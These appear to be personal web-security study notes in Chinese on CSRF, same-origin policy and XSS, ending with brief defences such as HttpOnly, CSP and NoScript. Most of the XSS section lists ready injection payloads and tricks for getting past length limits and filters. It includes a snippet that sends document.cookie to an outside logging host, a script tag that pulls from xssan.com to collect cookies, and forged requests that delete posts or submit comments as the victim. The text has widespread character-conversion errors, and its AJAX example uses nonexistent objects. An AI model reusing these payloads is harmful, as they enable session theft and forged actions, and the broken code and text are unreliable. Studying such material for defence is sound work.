web 安全學習

漏洞知識庫：

1  CSRF 跨站請求僞造 學習

crossdomain.xml 文件來驗證是否容許客戶端的flash 跨域發送請求，使用的是白名單的思想

使用 token 足夠複雜來防護

同源政策

a.com 經過 <script src=http://b.com/b.js></script> 加載了b.com 的b.js 可是b.js 是運行在a.com 頁面的因此對於a.com來講，b.js的源就應該是a.com而非b.com

<script> <img> <iframe> <link> 等標籤均可以跨域加載資源而不受同源政策的限制，這些帶<src> 屬性的標籤加載時實際上就是由瀏覽器發起了一次 GET請求

不一樣於 XMLHttpRequest 的是，經過src 屬性加載的資源，瀏覽器限制了 JAVASCRIPT的權限，使其不能讀寫返回的內容

flash 經過目標網站提供的crossdomain.xml文件判斷是否容許當前「源」的flash跨域訪問目標資源，eg:

當瀏覽器在任意其餘域的頁面里加載了FLASH後，若是對www.qq.com發起訪問請求，flash會先檢查 www.qq.com 上此策略文件是否存在。若是文件存在，則檢查發起請求的域是否在許可範圍內。

在flash 9及其之後的版本中，還實現了MIME檢查以確認crossdomain.xml是否合法，如查看服務器返回的HTTP頭等信息，FLASH還會檢查 crossdomain.xml是否存在根目錄下，使得一些上傳文件攻擊失效

2 XSS 學習  CROSS SITE SCRIPT

XXS 構造技巧

檢測是否出現 <script>alert("xss")</script>

<iframe onload=alert(document.cookie)>

 <script>alert("xss");</script>

<img src=x onerror=alert(1)>

xxx<script>alert(/xss/);</script>

javascript:alert(document.cookie);

"><img src="a" onerror="prompt">

<div style="background:url('javascript:alert(1)')">

%c1";alert(/xss/);//     系統轉義了" ， 接着%c1\   這兩個字符組合在一塊兒後，會成爲一個UNICODE字符 從而繞過系統安全檢查

學習突破字數限制

限制20字節類型，<input type=text value="xxx" /> 利用事件輸入 " onclick=alert(1)//     實際爲 <input type=text value="" onclick=alert(1)//">

 

首先先發一篇標題爲：」>/*</script>
再發一篇標題爲："><script>alert(/Jin/)/*
拼湊起來 <script>alert(/XSS/)/*xxxxxx*/</script>

一樣的思想，能夠在限制字符時，第一個文本框小，第二個文本框大，那麼直接在兩個文本框之間的html代碼所有註釋掉，從而」打通「兩個<input>

第一個輸入  "><!--_(空格)  只有6字節     第二個輸入  --><script>alert(/xss/);</script>

 

能夠加載其餘可控的安全數據位置的數據，EG:

 

<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>

 

若是沒有這些數據，就經過在URL的尾部參數構造要執行的代碼，而後在XSS點經過document.URL/location.href等方式得到代碼數據執行

 

http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>

30字節 （上）    或者  31字節 （下）

 

 

<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>

 或者 29字節 （下）

<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>

 或者 30字節 （下）

<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>

或者更少  說明在下面

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

 

 

location.hash 能夠用來獲取或設置頁面的標籤值,不會在HTTP包中發送，因此服務器端的WEB日誌中並不會記錄下 location.hash 裏的內容，從而也更好地隱藏了hacker的意圖
<input type=text value="xxx" />  輸入40字節 " onclick="eval(location.hash.substr(1)) 

獲得 <input type=text value="" onclick="eval(location.hash.substr(1))" /> 

#是用來指導瀏覽器動做的，對服務器端徹底無用。因此，HTTP請求中不包括#。

由於location.hash 的第一個值 爲 # ,因此構造 url 爲 www.xxx.com/test.html#alert(xss)

因此這裏的 XSS PAYLOAD 是寫在 瀏覽器的地址欄的。能夠直接寫在url,也能夠利用其它平臺上文件來寫

還有能夠關注函數

 

function loads(url) {
...
document.body.appendChild(script);
}

 

 

<limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>

 

 

其餘瞭解

<base> 是個很是危險的標籤，若是在頁面上插入了它，那麼就能夠在遠程主機上僞造圖片，連接或者腳本了（從標籤指定的網址上取獲得）.

window.name  能夠實現跨域傳輸，那麼構造 

window.name = "alert(document.cookie)";

location.href = "http://www.xxx.com/xss.php" 只需經過XSS執行 eval(name); 只有11字節

flash XSS  ,Action script 是一種很是強大和靈活的腳本，甚至可使用它發起網絡鏈接，所以應該儘量地禁止用戶可以上傳加載自定義的FLASH文件

<embed> 標籤訂義嵌入的內容，好比插件。 <embed src="http://xxx.com/evil.swf"> </embed>

發現地方 處寫上    57字節

</textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>

 

便可發送COOKIE 到指定網站

 

<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" width="401" height="604" title="111111111" alt="111111111">


title 和 alt 被賦值爲11111111 那麼賦值它
"><img src=1 onerror=alert(document.cookie)>
以後：
<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" title="">
<img src="1" onerror="alert(document.cookie)">

對於畸形URL的處理 IE中www.google.com\abc 會變成 www.google.com/abc  同源行爲還有chrome 可是firefox卻不如此解析

還有 www.google?abc firefox ie chrome都會認識 爲www.google.com/?abc

反射型XSS

簡單的把用戶輸入的數據「反射」給瀏覽器，須要誘使用戶 「點擊」 一個惡意連接才能攻擊成功， 也叫非持久型XSS

存儲型XSS

把用戶輸入的數據「存儲」在服務器端，這種XSS具備很強的穩定性，也叫作持久型XSS

DOM Based XSS

也是反射型 XSS，造成緣由比較特殊，經過修改頁面的DOM節點造成的XSS 

<a href= 'str' >XXXXX信息</a>  1輸入str 那麼 輸入  ' onlick=alert(/xss/) //

<a href= ' ' onlick=alert(/xss/) //' >XXXXX信息</a>

2 還能夠輸入 '><img src=# onerror=alert(/xss2/) /><'

<a href= ' '><img src=# onerror=alert(/xss2/) /><'' >XXXXX信息</a> 

XSS payload   學習：

簡單竊取cookie

 

 

var img = document.createElement("img");
img.src = "http://www.xxx.com/log?"+escape(document.cookie);
document.body.appendChild(img);

 

http://www.xxx.com/log不必定存在，由於web 日誌服務有留下記錄

登錄網站 切換COOKIE 能夠 用edit coookie 和其餘， 之因此能夠登錄是當前WEB中 COOKIE通常是用戶登錄的憑證，瀏覽器發起的全部請求都會自動帶上CCOOKIE。若是COOKIE 沒有綁定客戶端信息，那麼攻擊者竊取了COOKIE後就能夠不用密碼登陸進用戶的帳戶

COOKIE劫持 當出現 SetCookie時給關鍵COOKIE植入 httpOnly標示，有的網站則可能會把COOKIE與客戶端IP綁定，從而使得XSS竊取的COOKIE失去意義

實際利用：1）刪除文章，構造一個GET請求， 而後讓博客主人執行這段JS代碼，就會把這篇文章刪除

 

var img = document.createElement("img");
img.src = "http://www.xxx.com/xx.do?m=delete&id=xxxxx";
document.body.appendChild(img);

2.1) 構造 POST 型 XSS PAYLOAD 
在XSS平臺上構造  一個POST 文件 1(文件名) , 這裏例子最重要是ck=JiUY      mb_text=評論值

 

 

var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML= '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'

document.getElementById("xssform").submit();

構造XSS PAYLOAD  便可  <script>xxx.com/1</script>
2.2) 另外一種方式：

 

 

var url = "http://www.xxx.com";
var postStr = "ck=JiUY&mb_text=test1234"

var ajax =null;
if (window.ajaxRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  ajax=new ajaxRequest();
  }
else
  {// code for IE6, IE5
  ajax=new ActiveXObject("Microsoft.ajax");
  }

ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);

ajax.onreadystatechange = function()
{
	if(ajax.readyState == 4 && ajax.status == 200)
		{
			alert("Done!");
		}
}

若是須要輸入驗證碼   那麼就完蛋了、·······通常的XSS 都會失效·············

那麼就要想到 獲得對方的 驗證碼圖片

識別用戶瀏覽器，植入木馬等，識別用戶安裝的軟件，獲取用戶真實IP，

alert(navigator.userAgent)  獲得對方的 OS,瀏覽器版本，語言，但這不是準確的

網上有檢測瀏覽器版本的JS代碼  

 

BEEF  ，XSS-PROXY  能夠拿下 內網主機~~~~  use auxiliary/server/browser_autopwn  能夠檢查瀏覽器漏洞

解決辦法

補充： 一個COOKIE的使用過程：

1）瀏覽器發起請求，則仍是沒有COOKIE

2）服務器返回時發送 SET COOKIE 頭 ，向客戶端瀏覽器寫入 COOKIE

3）在該 COOKIE 到期前，瀏覽器訪問該域下的全部頁面，都將發送該COOKIE

HTTP-only cookie。包含在HTTP-only cookie中的任何信息暴露給黑客或者惡意網站的概率將會大大下降。下面是設置HTTP-only cookie的一個報頭的示例： 
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly            能夠防止「COOKIE劫持」

最先由微軟提出，IE6中，瀏覽器講禁止頁面JS訪問帶有 HTTP-ONLY屬性的COOKIE

HTTP ONLY 是在 SET-COOKIE 時標記的， 須要注意可能有多個 COOKIE，而 HTTP-ONLY 能夠有選擇性地加在任何一個 COOKIE 上

在某些狀況，多個 COOKIE  ，HTTP-ONLY 只標記給用於認證的關鍵 COOKIE

（已經被修補）繞過能夠利用 apache 支持的TRACE 通常用於調試，會講請求頭做爲HTTP RESPONSE 返回

firefox第一個提出CSP  作法是由服務器返回一個HTTP頭，並在其中描述頁面應該遵循的安全策略，XSS攻擊在沒有第三方插件幫助狀況下，沒法控制HTTP頭，因此這項措施是可行的。使用CSP 的方法以下，插入一個HTTP返回頭：

X-Content-Security-Policy:policy  好比:

X-Content-Security-Policy:policy: allow 'self' *.mydomain.com

瀏覽器新人來自mydomain.com及其子域的內容

 

NoScript 擴展

NoScript 1.1.4.7版公開發布，新增了一個客戶端級的保護，針對類型0和類型1的XSS攻擊。一旦一個頁面試圖將HTML或是JavaScript代碼插入另外一個頁面，NoScript就會過濾掉有害請求，抵消這些危害。

2007年4月11日，NoScript 能夠根據您的選擇，只容許受信任的網站啓用JavaScript、Java 或其餘插件

2008年9月15日，NoScript 1.8.1版公開發布，使得用戶能夠強制某些網站必須經過https訪問，增長安全性。此外NoScript也能夠強制https網站把Cookies加密來阻止Cookies劫持。

2009年9月23日，NoScript 1.9.8.9版增長了對STS的支持。這一功能使得用戶在訪問支持的網站（例如，PayPal）的時候自動只經過HTTPS訪問，使得中間人攻擊變得很是困難。

IE8 XSS Filter   可是已經被繞過了 http://www.80sec.com/ie8-xssfilter-bypass.html

 

.php?c=<script>alert()</script>
.php?c=%c1<script>alert()</script> 繞過

 

輸入檢查嗎，輸入檢查的邏輯必須放在服務器端的代碼上，。若是隻是客戶端的JS進行輸入檢查，很容易就被攻擊者繞過了，JS客戶端檢查能夠節約服務器資源。。比較稚嫩的能夠檢查是否有<script>,javascript等敏感字符，這種能夠稱爲XSS Filter